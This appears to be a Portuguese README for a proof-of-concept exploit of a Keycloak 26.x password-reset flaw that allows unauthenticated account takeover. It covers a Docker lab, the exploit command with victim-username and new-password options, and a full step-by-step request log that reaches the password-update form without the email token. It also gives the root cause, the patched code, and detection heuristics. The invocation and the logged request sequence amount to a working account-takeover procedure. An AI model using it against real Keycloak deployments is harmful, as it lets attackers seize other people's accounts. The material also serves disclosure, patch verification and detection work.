
PoC, playground com Dockerfile e causa raiz a partir da análise do diff do patch.
Configuração Docker para testar versões do Keycloak 26.x afetadas pelo bypass do fluxo reset-credentials. O laboratório incluído fixa o Keycloak 26.6.2, que está na faixa afetada (>26.0 e <26.7.2).
Requisitos: Docker, Docker Compose, Python 3. Testado com a imagem Docker quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
O arquivo compose inicia o Keycloak 26.6.2 com um administrador temporário admin/admin-password-for-lab. Crie um realm e um usuário de teste através do Admin Console ou da Admin REST API. O fluxo de redefinição deve estar habilitado e a execução integrada reset-credential-email deve estar acessível.
Exemplo de ATO:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <realm conhecido> --username <vítima conhecida> \
--new-password '<senha>' \
--allow-loopback-http-cookie --change-password
A opção loopback-cookie existe apenas para este laboratório Docker HTTP. Validação / exploração bem-sucedida
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerável: formulário de atualização de senha alcançado sem token de ação de e-mail
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Assunção de conta não autenticada quando Esqueci minha senha usa o fluxo integrado vulnerável reset-credentials. A etapa de posse de e-mail é marcada como bem-sucedida sem consumir seu token de ação, avançando o atacante para UPDATE_PASSWORD.
Duas falhas na máquina de estados se combinam:
tryAnotherWay armazenava AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true como um booleano global na sessão de autenticação. Ele não estava vinculado à execução que exibia o seletor, permitindo que o estado obsoleto do seletor afetasse outra execução do fluxo de redefinição.ResetCredentialEmail.action() aceitava qualquer invocação:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Uma sequência de fluxo de redefinição manipulada pode, portanto, manipular o estado do seletor/execução atual e invocar a ação do autenticador de e-mail sem clicar no link enviado por e-mail. O Keycloak trata a etapa de e-mail como concluída e expõe a execução de atualização de senha para a vítima selecionada.
O e-mail de redefinição ainda pode ser gerado e SEND_RESET_PASSWORD registrado. A posse da caixa de correio ou do token não é necessária.
O estado do seletor agora está vinculado ao modelo de execução exato:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
A nota é removida se não corresponder a CURRENT_AUTHENTICATION_EXECUTION. Mais importante, a ação de e-mail agora exige uma identidade de token de ação correspondente ao usuário do fluxo:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services; a mudança explorável no estado do seletor foi introduzida em 26.0.0.reset-credential-email integrado deve estar acessível e vinculado. Desabilitar Esqueci minha senha impede este caminho.O Keycloak não possui um evento definitivo de "token de e-mail ignorado". Correlacione o tempo do fluxo e os logs do proxy reverso:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD em segundostryAnotherWay, imediatamente antes da atualização de senhaGET /login-actions/action-token intermediário, que um clique legítimo no e-mail geraIsso é heurístico: um usuário com o e-mail já aberto pode redefinir rapidamente, e eventos ausentes não provam nada onde o registro/retenção foi desabilitado.
Confusão de estado do fluxo de autenticação + sucesso incondicional do autenticador contorna uma verificação de posse. Caso de teste geral: sempre que uma execução de autenticação puder ser revisitada, alternada com "tentar outra forma" ou retomada de uma URL antiga, verifique se cada autenticador revalida sua própria prova em vez de confiar no estado compartilhado do fluxo.
Referência do patch upstream: https://github.com/keycloak/keycloak/pull/51844